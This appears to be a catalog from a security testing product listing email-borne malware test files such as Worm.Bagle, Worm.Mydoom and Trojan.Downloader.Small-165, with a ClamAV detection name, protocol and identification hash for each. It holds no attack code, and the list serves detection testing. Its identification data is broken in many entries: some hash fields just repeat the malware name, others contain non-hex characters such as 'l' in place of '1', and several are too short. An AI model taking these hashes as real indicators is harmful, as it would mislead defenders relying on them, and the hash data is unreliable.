Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5daf5119.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5daf51197603fd21dc21d0d609b189e2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.9e4df818_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e4df8189d3cbf9d5d0f627db41d97fb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Revelation.dcfdc527_IPv6.xml
Executive Description:	Email Virus Trojan.Revelation (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Revelation as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dcfdc527bc9c1c823870c943608dfb4d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Celebit.c.c.cdac47ac_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Celebit.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Celebit.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Celebit.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DK.086805a8.xml
Executive Description:	Email Virus Worm.LoveLetter.DK
Detailed Description:	This is the email virus Worm.LoveLetter.DK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 086805a86002acca02ddd53ecac11266. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Winext.a.a.63882596_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Winext.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Winext.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Winext.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Rsp.08035791.xml
Executive Description:	Email Virus VBS.Rsp
Detailed Description:	This is the email virus VBS.Rsp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08035791776d2d4702c52c6bd60b03b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.b.b.df178921_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gruel.A.b0fecdd_IPv6.xml
Executive Description:	Email Virus Worm.Gruel.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gruel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0fecdd78039aed7f1d68dae4d73d3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PawPaw.17a522f1.xml
Executive Description:	Email Virus Trojan.PawPaw
Detailed Description:	This is the email virus Trojan.PawPaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17a522f18f8269c147e815373a3a7d20. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.T.0a5859ef.xml
Executive Description:	Email Virus Worm.Lovgate.T
Detailed Description:	This is the email virus Worm.Lovgate.T as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a5859efb4c96c4af86566efdb8acb18. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lara.c949c3a2_IPv6.xml
Executive Description:	Email Virus Worm.Lara (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lara as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c949c3a2ea991ae36bb3f9879c5dd3a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shatrix.sha.f65d8ab1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Shatrix.sha (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Shatrix.sha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shatrix.sha. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Klexe.kle.fa4a807c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Klexe.kle (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Klexe.kle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Klexe.kle. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Microyano.cle96ael.xml
Executive Description:	Email Virus Worm.Microyano
Detailed Description:	This is the email virus Worm.Microyano as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cle96aelc3b4489d7f47c8ccd8575164. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.b647bbd3_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b647bbd3bd657ac87f52cdfa2ab2e1ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BY-2.57f4aa23_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BY-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BY-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 57f4aa2390813e82b050984e6d90b581. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Likun.b.1dd54d76_IPv6.xml
Executive Description:	Email Virus Worm.Likun.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1dd54d76f9170dac6995dcf9fd5ff827. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Baatezu.2820d151_IPv6.xml
Executive Description:	Email Virus Worm.Baatezu (IPv6 Version)
Detailed Description:	This is the email virus Worm.Baatezu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2820d1515f357f983dfb758adc326302. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ganda-A.c1e17ccf_IPv6.xml
Executive Description:	Email Virus Worm.Ganda-A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ganda-A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e17ccf687fa70efc96ef8ab3e97a95. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.h.798c04a9_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.h (IPv6 Version)

Detailed Description:	This is the email virus Worm.Maldal.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 798c04a9a6aefc02024265279e7be57d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ef314983.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef314983f99a9e1cb350986f41f9acd9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mabutu.A.3.21c524fb.xml
Executive Description:	Email Virus Worm.Mabutu.A.3
Detailed Description:	This is the email virus Worm.Mabutu.A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21c524fb80b39d7c756e6b8bb61c195d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Forgotten.5d5a377d_IPv6.xml
Executive Description:	Email Virus Worm.Forgotten (IPv6 Version)
Detailed Description:	This is the email virus Worm.Forgotten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d5a377dda72e00fd7f046db950602aa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kadra.154bf120.xml
Executive Description:	Email Virus Worm.Kadra
Detailed Description:	This is the email virus Worm.Kadra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 154bf1202aac8e31bb09acb5d62109f1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Sdan.C.d2e41848_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Sdan.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Sdan.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2e41848cb6696f911dfe95c7b6033a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hopalon.b.b.836elcd6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hopalon.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hopalon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hopalon.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DG.837708e2_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.DG (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.DG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 837708e2617938c65fea5032d424c48b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vote.b.f2c5b9ad.xml
Executive Description:	Email Virus Worm.Vote.b
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2c5b9ad39375f4dce510b5b702984c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Banof.ban.00cf080a.xml
Executive Description:	Email Virus Email-Worm.Win32.Banof.ban
Detailed Description:	This is the email virus Email-Worm.Win32.Banof.ban as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Banof.ban. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gruel.A.b0fecdd.xml
Executive Description:	Email Virus Worm.Gruel.A
Detailed Description:	This is the email virus Worm.Gruel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0fecdd78039aed7f1d68dae4d73d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Poo.4f292a8e.xml

Executive Description:	Email Virus Worm.Poo
Detailed Description:	This is the email virus Worm.Poo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f292a8e2c921c17707deaf8c232d133. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Turmol.doc.3b9cbb48_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Turmol.doc (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Turmol.doc as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Turmol.doc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.b.b.eec5778a.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Rogut.rog.ed010bb8.xml
Executive Description:	Email Virus Email-Worm.BAT.Rogut.rog
Detailed Description:	This is the email virus Email-Worm.BAT.Rogut.rog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Rogut.rog. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.XPMsg.8084b3d6.xml
Executive Description:	Email Virus Worm.XPMsg
Detailed Description:	This is the email virus Worm.XPMsg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8084b3d6df88cbf2e371e9c84075559b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.f08dd849.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f08dd8493ab094863c3ce953f11f973a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Potok.ac937448.xml
Executive Description:	Email Virus Worm.VBS.Potok
Detailed Description:	This is the email virus Worm.VBS.Potok as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac93744837e50aeb92620cc794770b1f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.f7925c05_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7925c052ebc4d0978679f457dfbb438. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.J.0d8a08fb.xml
Executive Description:	Email Virus Worm.Mimail.J
Detailed Description:	This is the email virus Worm.Mimail.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d8a08fb0b8f6663b7e6a22e9elb1e29. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Dagli.dag.774192de.xml
Executive Description:	Email Virus Email-Worm.VBS.Dagli.dag
Detailed Description:	This is the email virus Email-Worm.VBS.Dagli.dag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Dagli.dag. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.c.c.ca183ad2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Icecubes.B.6d957f8f_IPv6.xml
Executive Description:	Email Virus Worm.Icecubes.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Icecubes.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d957f8fd04e6ae12db64605a8d0f9a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.233665c4_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 233665c4f4c7ef0b39663035alfad118. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.6dac223b.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dac223b7b1748210328ce4a2299dfce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.5d7e77db_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7e77db1ea0cdddab4f3233eea8d3da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wozer.C.ab4771ab.xml
Executive Description:	Email Virus Worm.Wozer.C
Detailed Description:	This is the email virus Worm.Wozer.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4771ab05c26c040d9e58d7971a3006. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AE.62035831.xml
Executive Description:	Email Virus Worm.Bagle.AE
Detailed Description:	This is the email virus Worm.Bagle.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 62035831b8b40ad8c0253a0142c99dcl. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Music.B.39e25a38_IPv6.xml
Executive Description:	Email Virus Worm.Music.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39e25a383ddd659b68cb2cb7b9234ff6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.a.623aa8ed.xml
Executive Description:	Email Virus Worm.Without.a
Detailed Description:	This is the email virus Worm.Without.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 623aa8edaacd32f4ede1ealafa7c13ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Axam.b.1f1f49c4_IPv6.xml
Executive Description:	Email Virus Worm.Axam.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Axam.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1f1f49c4e9228a208a3e5e47318139b9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.90ad24cc_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ad24ccff57520Fc77bcc4632c3b469. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.B.3d49489e.xml
Executive Description:	Email Virus Worm.Shuq.B
Detailed Description:	This is the email virus Worm.Shuq.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d49489eff476e66f5f9097dfa2da484. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Symten.b.8839d89a.xml
Executive Description:	Email Virus Worm.Symten.b
Detailed Description:	This is the email virus Worm.Symten.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8839d89a6a18df4ffe5a258db46b3912. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.b.b.bd06afea.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Randa.4c560521_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Randa (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Randa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c560521f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Q.ef57933f.xml
Executive Description:	Email Virus Worm.Bagle.Q
Detailed Description:	This is the email virus Worm.Bagle.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef57933f673b38844d342aace90c657a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.Q.b9ebe489.xml
Executive Description:	Email Virus Worm.Mimail.Q
Detailed Description:	This is the email virus Worm.Mimail.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9ebe489f5460408c4911ff84c678a68. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.88b8c658_IPv6.xml
Executive Description:	Email Virus VBS.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88b8c658ff12611b20152682a409eaf1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Desin.des.2f846684.xml
Executive Description:	Email Virus Email-Worm.VBS.Desin.des
Detailed Description:	This is the email virus Email-Worm.VBS.Desin.des as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Desin.des. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0769b8be_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0769b8befedfe30692b189a9e92b0034. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.S.4d46781c_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d46781c778cedf41975e46259562997. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Celebit.c.c.cdac47ac.xml
Executive Description:	Email Virus Email-Worm.Win32.Celebit.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Celebit.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Celebit.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.d33881c7_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d33881c7e9d4c70467e00867707bea42. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Godog.ec7c4e01.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec7c4e012fd450c94a98254b2aa89992. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anap.b.b.19bd1bec.xml
Executive Description:	Email Virus Email-Worm.Win32.Anap.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Anap.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anap.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64481.644.2d1cda79.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64481.644
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64481.644 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64481.644. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zircon.a.a.708ea6e7.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heads.he.971eel3b.xml
Executive Description:	Email Virus Email-Worm.Win32.Heads.he
Detailed Description:	This is the email virus Email-Worm.Win32.Heads.he as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heads.he. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Indor.b.0c716b79.xml
Executive Description:	Email Virus Worm.Indor.b
Detailed Description:	This is the email virus Worm.Indor.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c716b79b2cc1le8789413f97b1070c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.E.d377a5dd_IPv6.xml
Executive Description:	Email Virus Worm.Energy.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d377a5dd8afb394230be70409238f72a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Qoma.B.b4d5eb74_IPv6.xml
Executive Description:	Email Virus Worm.Qoma.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Qoma.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4d5eb74528d3736b16b0b47a50da063. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.D.70bc5688.xml
Executive Description:	Email Virus Worm.Sobig.D
Detailed Description:	This is the email virus Worm.Sobig.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 70bc5688274647a7589a90691ddeb3d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Z.2f4f05bb_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f4f05bb09b396579225615ab4121256. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Isabel.54e640a8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Isabel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Isabel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54e640a8d5608287dd0b9bc7127f38d0. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kondrik.c.b53b531a_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b53b531a934088b5fb13e6e47ced4acf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NHKR.a.fc9d1be1_IPv6.xml
Executive Description:	Email Virus Worm.NHKR.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.NHKR.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc9d1be19de9edd8569e6fa9f452b521. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.dd3da05f.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd3da05fa8b73d3644039ec1bd990e54. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
